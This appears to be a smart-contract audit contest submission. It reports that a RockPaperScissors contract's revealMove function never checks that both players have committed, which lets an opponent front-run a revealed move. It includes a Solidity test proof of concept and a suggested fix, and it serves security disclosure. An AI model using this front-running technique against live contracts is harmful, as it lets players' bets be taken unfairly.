Submission Details
Severity:
[H-1] `RockPaperScissors::revealMove` function doesn't check if both players have commited, which can lead to a front-run attack
**Description:** In function `RockPaperScissors::revealMove` there is no require to check if both `playerA` and `playerB` have already commited their move. This means that a player can commit and reveal before the other player commits a move. This can be taken advantage of by the player that hasn't commited yet by observing the mempool, commiting the winning move after the other player has revealed their move and pay the priority fee to have their transaction done first.
**Impact:** Front-run attack can be done to get an advantage over other players that reveal too fast, losing their bet money unfairly.
**Proof of Concept:**
<details>
<summary>PoC</summary>
```javascript
function testFrontRunAttack() public {
vm.prank(playerA);
gameId = game.createGameWithEth{value: BET_AMOUNT}(1, TIMEOUT);
vm.prank(playerB);
game.joinGameWithEth{value: BET_AMOUNT}(gameId);
// Player A commits
bytes32 saltA = keccak256(abi.encodePacked("salt for player A"));
bytes32 commitA = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Rock), saltA));
vm.prank(playerA);
game.commitMove(gameId, commitA);
// Player A rushes and wants to reveal but Player B is front-running
bytes32 saltB = keccak256(abi.encodePacked("salt for player B"));
bytes32 commitB = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Paper), saltB));
vm.prank(playerB);
game.commitMove(gameId, commitB);
vm.prank(playerA);
game.revealMove(gameId, uint8(RockPaperScissors.Move.Rock), saltA);
uint256 tokenBalanceBefore = token.balanceOf(playerB);
vm.prank(playerB);
game.revealMove(gameId, uint8(RockPaperScissors.Move.Paper), saltB);
// Player B wins the game
(,,,,,,,,,,,,,,, RockPaperScissors.GameState state) = game.games(gameId);
assertEq(uint256(state), uint256(RockPaperScissors.GameState.Finished));
// Verify player B received prize
uint256 expectedPrize = (BET_AMOUNT * 2) * 90 / 100; // 10% fee
assertEq(playerB.balance - playerA.balance, expectedPrize);
// Verify player B received a winner token
assertEq(token.balanceOf(playerB) - tokenBalanceBefore, 1);
}
```
</details>
**Recommended Mitigation:** Make use of the `GameState.Revealed` to have a reveal state and not let players to reveal in the commit state and check in the `revealMove` function if it is in the right state. You can even add a commit deadline so that the front-runner doesn't have enough time so attack the protocol in such way.
Rewards breakdown
nSLOC
349This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.